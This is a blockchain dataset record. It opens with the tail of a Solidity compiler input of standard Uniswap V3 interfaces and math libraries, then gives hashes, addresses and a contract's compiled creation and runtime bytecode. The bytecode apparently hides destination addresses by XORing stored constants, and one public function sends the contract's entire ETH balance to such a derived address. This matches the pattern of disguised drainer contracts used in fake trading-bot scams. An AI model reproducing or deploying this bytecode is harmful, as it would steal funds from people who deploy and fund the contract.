balanceOf(address account) external view returns (uint256);\n\n /// @notice Transfers the amount of token from the `msg.sender` to the recipient\n /// @param recipient The account that will receive the amount transferred\n /// @param amount The number of tokens to send from the sender to the recipient\n /// @return Returns true for a successful transfer, false for an unsuccessful transfer\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /// @notice Returns the current allowance given to a spender by an owner\n /// @param owner The account of the token owner\n /// @param spender The account of the token spender\n /// @return The current allowance granted by `owner` to `spender`\n function allowance(address owner, address spender) external view returns (uint256);\n\n /// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`\n /// @param spender The account which will be allowed to spend a given amount of the owners tokens\n /// @param amount The amount of tokens allowed to be used by `spender`\n /// @return Returns true for a successful approval, false for unsuccessful\n function approve(address spender, uint256 amount) external returns (bool);\n\n /// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`\n /// @param sender The account from which the transfer will be initiated\n /// @param recipient The recipient of the transfer\n /// @param amount The amount of the transfer\n /// @return Returns true for a successful transfer, false for unsuccessful\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.\n /// @param from The account from which the tokens were sent, i.e. the balance decreased\n /// @param to The account to which the tokens were sent, i.e. the balance increased\n /// @param value The amount of tokens that were transferred\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.\n /// @param owner The account that approved spending of its tokens\n /// @param spender The account for which the spending allowance was modified\n /// @param value The new allowance from the owner to the spender\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n" }, "contracts/interfaces/callback/IUniswapV3MintCallback.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#mint\n/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface\ninterface IUniswapV3MintCallback {\n /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.\n /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity\n /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call\n function uniswapV3MintCallback(\n uint256 amount0Owed,\n uint256 amount1Owed,\n bytes calldata data\n ) external;\n}\n" }, "contracts/interfaces/callback/IUniswapV3SwapCallback.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#swap\n/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface\ninterface IUniswapV3SwapCallback {\n /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.\n /// @dev In the implementation you must pay the pool tokens owed for the swap.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.\n /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.\n /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n" }, "contracts/interfaces/callback/IUniswapV3FlashCallback.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#flash\n/// @notice Any contract that calls IUniswapV3PoolActions#flash must implement this interface\ninterface IUniswapV3FlashCallback {\n /// @notice Called to `msg.sender` after transferring to the recipient from IUniswapV3Pool#flash.\n /// @dev In the implementation you must repay the pool the tokens sent by flash plus the computed fee amounts.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param fee0 The fee amount in token0 due to the pool by the end of the flash\n /// @param fee1 The fee amount in token1 due to the pool by the end of the flash\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#flash call\n function uniswapV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolImmutables.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that never changes\n/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values\ninterface IUniswapV3PoolImmutables {\n /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface\n /// @return The contract address\n function factory() external view returns (address);\n\n /// @notice The first of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token0() external view returns (address);\n\n /// @notice The second of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token1() external view returns (address);\n\n /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6\n /// @return The fee\n function fee() external view returns (uint24);\n\n /// @notice The pool tick spacing\n /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive\n /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...\n /// This value is an int24 to avoid casting even though it is always positive.\n /// @return The tick spacing\n function tickSpacing() external view returns (int24);\n\n /// @notice The maximum amount of position liquidity that can use any tick in the range\n /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and\n /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool\n /// @return The max amount of liquidity per tick\n function maxLiquidityPerTick() external view returns (uint128);\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolState.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that can change\n/// @notice These methods compose the pool's state, and can change with any frequency including multiple times\n/// per transaction\ninterface IUniswapV3PoolState {\n /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas\n /// when accessed externally.\n /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value\n /// tick The current tick of the pool, i.e. according to the last tick transition that was run.\n /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick\n /// boundary.\n /// observationIndex The index of the last oracle observation that was written,\n /// observationCardinality The current maximum number of observations stored in the pool,\n /// observationCardinalityNext The next maximum number of observations, to be updated when the observation.\n /// feeProtocol The protocol fee for both tokens of the pool.\n /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0\n /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.\n /// unlocked Whether the pool is currently locked to reentrancy\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n\n /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal0X128() external view returns (uint256);\n\n /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal1X128() external view returns (uint256);\n\n /// @notice The amounts of token0 and token1 that are owed to the protocol\n /// @dev Protocol fees will never exceed uint128 max in either token\n function protocolFees() external view returns (uint128 token0, uint128 token1);\n\n /// @notice The currently in range liquidity available to the pool\n /// @dev This value has no relationship to the total liquidity across all ticks\n function liquidity() external view returns (uint128);\n\n /// @notice Look up information about a specific tick in the pool\n /// @param tick The tick to look up\n /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or\n /// tick upper,\n /// liquidityNet how much liquidity changes when the pool price crosses the tick,\n /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,\n /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,\n /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick\n /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,\n /// secondsOutside the seconds spent on the other side of the tick from the current tick,\n /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.\n /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.\n /// In addition, these values are only relative and must be used only in comparison to previous snapshots for\n /// a specific position.\n function ticks(int24 tick)\n external\n view\n returns (\n uint128 liquidityGross,\n int128 liquidityNet,\n uint256 feeGrowthOutside0X128,\n uint256 feeGrowthOutside1X128,\n int56 tickCumulativeOutside,\n uint160 secondsPerLiquidityOutsideX128,\n uint32 secondsOutside,\n bool initialized\n );\n\n /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information\n function tickBitmap(int16 wordPosition) external view returns (uint256);\n\n /// @notice Returns the information about a position by the position's key\n /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper\n /// @return _liquidity The amount of liquidity in the position,\n /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,\n /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,\n /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,\n /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke\n function positions(bytes32 key)\n external\n view\n returns (\n uint128 _liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n /// @notice Returns data about a specific observation index\n /// @param index The element of the observations array to fetch\n /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time\n /// ago, rather than at a specific index in the array.\n /// @return blockTimestamp The timestamp of the observation,\n /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,\n /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,\n /// Returns initialized whether the observation has been initialized and the values are safe to use\n function observations(uint256 index)\n external\n view\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n );\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that is not stored\n/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the\n/// blockchain. The functions here may have variable gas costs.\ninterface IUniswapV3PoolDerivedState {\n /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp\n /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing\n /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,\n /// you must call it with secondsAgos = [3600, 0].\n /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in\n /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.\n /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned\n /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp\n /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block\n /// timestamp\n function observe(uint32[] calldata secondsAgos)\n external\n view\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);\n\n /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range\n /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.\n /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first\n /// snapshot is taken and the second snapshot is taken.\n /// @param tickLower The lower tick of the range\n /// @param tickUpper The upper tick of the range\n /// @return tickCumulativeInside The snapshot of the tick accumulator for the range\n /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range\n /// @return secondsInside The snapshot of seconds per liquidity for the range\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n );\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolActions.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissionless pool actions\n/// @notice Contains pool methods that can be called by anyone\ninterface IUniswapV3PoolActions {\n /// @notice Sets the initial price for the pool\n /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value\n /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96\n function initialize(uint160 sqrtPriceX96) external;\n\n /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position\n /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback\n /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends\n /// on tickLower, tickUpper, the amount of liquidity, and the current price.\n /// @param recipient The address for which the liquidity will be created\n /// @param tickLower The lower tick of the position in which to add liquidity\n /// @param tickUpper The upper tick of the position in which to add liquidity\n /// @param amount The amount of liquidity to mint\n /// @param data Any data that should be passed through to the callback\n /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback\n /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Collects tokens owed to a position\n /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.\n /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or\n /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the\n /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.\n /// @param recipient The address which should receive the fees collected\n /// @param tickLower The lower tick of the position for which to collect fees\n /// @param tickUpper The upper tick of the position for which to collect fees\n /// @param amount0Requested How much token0 should be withdrawn from the fees owed\n /// @param amount1Requested How much token1 should be withdrawn from the fees owed\n /// @return amount0 The amount of fees collected in token0\n /// @return amount1 The amount of fees collected in token1\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position\n /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0\n /// @dev Fees must be collected separately via a call to #collect\n /// @param tickLower The lower tick of the position for which to burn liquidity\n /// @param tickUpper The upper tick of the position for which to burn liquidity\n /// @param amount How much liquidity to burn\n /// @return amount0 The amount of token0 sent to the recipient\n /// @return amount1 The amount of token1 sent to the recipient\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Swap token0 for token1, or token1 for token0\n /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback\n /// @param recipient The address to receive the output of the swap\n /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0\n /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)\n /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this\n /// value after the swap. If one for zero, the price cannot be greater than this value after the swap\n /// @param data Any data to be passed through to the callback\n /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive\n /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback\n /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback\n /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling\n /// with 0 amount{0,1} and sending the donation amount(s) from the callback\n /// @param recipient The address which will receive the token0 and token1 amounts\n /// @param amount0 The amount of token0 to send\n /// @param amount1 The amount of token1 to send\n /// @param data Any data to be passed through to the callback\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n /// @notice Increase the maximum number of price and liquidity observations that this pool will store\n /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to\n /// the input observationCardinalityNext.\n /// @param observationCardinalityNext The desired minimum number of observations for the pool to store\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissioned pool actions\n/// @notice Contains pool methods that may only be called by the factory owner\ninterface IUniswapV3PoolOwnerActions {\n /// @notice Set the denominator of the protocol's % share of the fees\n /// @param feeProtocol0 new protocol fee for token0 of the pool\n /// @param feeProtocol1 new protocol fee for token1 of the pool\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;\n\n /// @notice Collect the protocol fee accrued to the pool\n /// @param recipient The address to which collected protocol fees should be sent\n /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1\n /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0\n /// @return amount0 The protocol fee collected in token0\n /// @return amount1 The protocol fee collected in token1\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolEvents.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Events emitted by a pool\n/// @notice Contains all events emitted by the pool\ninterface IUniswapV3PoolEvents {\n /// @notice Emitted exactly once by a pool when #initialize is first called on the pool\n /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize\n /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96\n /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool\n event Initialize(uint160 sqrtPriceX96, int24 tick);\n\n /// @notice Emitted when liquidity is minted for a given position\n /// @param sender The address that minted the liquidity\n /// @param owner The owner of the position and recipient of any minted liquidity\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity minted to the position range\n /// @param amount0 How much token0 was required for the minted liquidity\n /// @param amount1 How much token1 was required for the minted liquidity\n event Mint(\n address sender,\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted when fees are collected by the owner of a position\n /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees\n /// @param owner The owner of the position for which fees are collected\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount0 The amount of token0 fees collected\n /// @param amount1 The amount of token1 fees collected\n event Collect(\n address indexed owner,\n address recipient,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount0,\n uint128 amount1\n );\n\n /// @notice Emitted when a position's liquidity is removed\n /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect\n /// @param owner The owner of the position for which liquidity is removed\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity to remove\n /// @param amount0 The amount of token0 withdrawn\n /// @param amount1 The amount of token1 withdrawn\n event Burn(\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted by the pool for any swaps between token0 and token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the output of the swap\n /// @param amount0 The delta of the token0 balance of the pool\n /// @param amount1 The delta of the token1 balance of the pool\n /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96\n /// @param liquidity The liquidity of the pool after the swap\n /// @param tick The log base 1.0001 of price of the pool after the swap\n event Swap(\n address indexed sender,\n address indexed recipient,\n int256 amount0,\n int256 amount1,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n int24 tick\n );\n\n /// @notice Emitted by the pool for any flashes of token0/token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the tokens from flash\n /// @param amount0 The amount of token0 that was flashed\n /// @param amount1 The amount of token1 that was flashed\n /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee\n /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee\n event Flash(\n address indexed sender,\n address indexed recipient,\n uint256 amount0,\n uint256 amount1,\n uint256 paid0,\n uint256 paid1\n );\n\n /// @notice Emitted by the pool for increases to the number of observations that can be stored\n /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index\n /// just before a mint/swap/burn.\n /// @param observationCardinalityNextOld The previous value of the next observation cardinality\n /// @param observationCardinalityNextNew The updated value of the next observation cardinality\n event IncreaseObservationCardinalityNext(\n uint16 observationCardinalityNextOld,\n uint16 observationCardinalityNextNew\n );\n\n /// @notice Emitted when the protocol fee is changed by the pool\n /// @param feeProtocol0Old The previous value of the token0 protocol fee\n /// @param feeProtocol1Old The previous value of the token1 protocol fee\n /// @param feeProtocol0New The updated value of the token0 protocol fee\n /// @param feeProtocol1New The updated value of the token1 protocol fee\n event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);\n\n /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner\n /// @param sender The address that collects the protocol fees\n /// @param recipient The address that receives the collected protocol fees\n /// @param amount0 The amount of token0 protocol fees that is withdrawn\n /// @param amount0 The amount of token1 protocol fees that is withdrawn\n event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);\n}\n" }, "contracts/libraries/BitMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title BitMath\n/// @dev This library provides functionality for computing bit properties of an unsigned integer\nlibrary BitMath {\n /// @notice Returns the index of the most significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1)\n /// @param x the value for which to compute the most significant bit, must be greater than 0\n /// @return r the index of the most significant bit\n function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n r += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n r += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n r += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n r += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n r += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n r += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n r += 2;\n }\n if (x >= 0x2) r += 1;\n }\n\n /// @notice Returns the index of the least significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0)\n /// @param x the value for which to compute the least significant bit, must be greater than 0\n /// @return r the index of the least significant bit\n function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n r = 255;\n if (x & type(uint128).max > 0) {\n r -= 128;\n } else {\n x >>= 128;\n }\n if (x & type(uint64).max > 0) {\n r -= 64;\n } else {\n x >>= 64;\n }\n if (x & type(uint32).max > 0) {\n r -= 32;\n } else {\n x >>= 32;\n }\n if (x & type(uint16).max > 0) {\n r -= 16;\n } else {\n x >>= 16;\n }\n if (x & type(uint8).max > 0) {\n r -= 8;\n } else {\n x >>= 8;\n }\n if (x & 0xf > 0) {\n r -= 4;\n } else {\n x >>= 4;\n }\n if (x & 0x3 > 0) {\n r -= 2;\n } else {\n x >>= 2;\n }\n if (x & 0x1 > 0) r -= 1;\n }\n}\n" }, "contracts/libraries/UnsafeMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math functions that do not check inputs or outputs\n/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks\nlibrary UnsafeMath {\n /// @notice Returns ceil(x / y)\n /// @dev division by 0 has unspecified behavior, and must be checked externally\n /// @param x The dividend\n /// @param y The divisor\n /// @return z The quotient, ceil(x / y)\n function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {\n assembly {\n z := add(div(x, y), gt(mod(x, y), 0))\n }\n }\n}\n" }, "contracts/libraries/FixedPoint96.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint96\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\n/// @dev Used in SqrtPriceMath.sol\nlibrary FixedPoint96 {\n uint8 internal constant RESOLUTION = 96;\n uint256 internal constant Q96 = 0x1000000000000000000000000;\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 800 }, "metadata": { "bytecodeHash": "none" }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } }, "libraries": {} } }}
1
19,493,269
3c1b16fe23747591e663fdbd91a21ab9dd9f9df0e95531f220f633bd364c60de
e733422a7a6598ed8ec05b2eea3d622efd4caf78d94562a7b20f1bc43717c0c6
d982ee8d78d41d33930a7a0edabc9a25404a0346
d982ee8d78d41d33930a7a0edabc9a25404a0346
5731f91c5eba66153df5c23509d87aa8c434c1e0
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f4c10f6e185a551b454e342e9309ae741455e7f4cda66f4ad2ed1a994d0e86f886007557f4c10f6e185a551b454e342e9558fc33d0edd0a3dc85a9aa98bcd41d2f31c848c6008557f4c10f6e185a551b454e342e9a7f9650ff343653db6df453da9f71b7ed5a3c6e460095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220943dc22e5b6789a46567fd098dce2ec9f592ca6d721dbde60309c2cb3c5a200064736f6c63430008070033
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220943dc22e5b6789a46567fd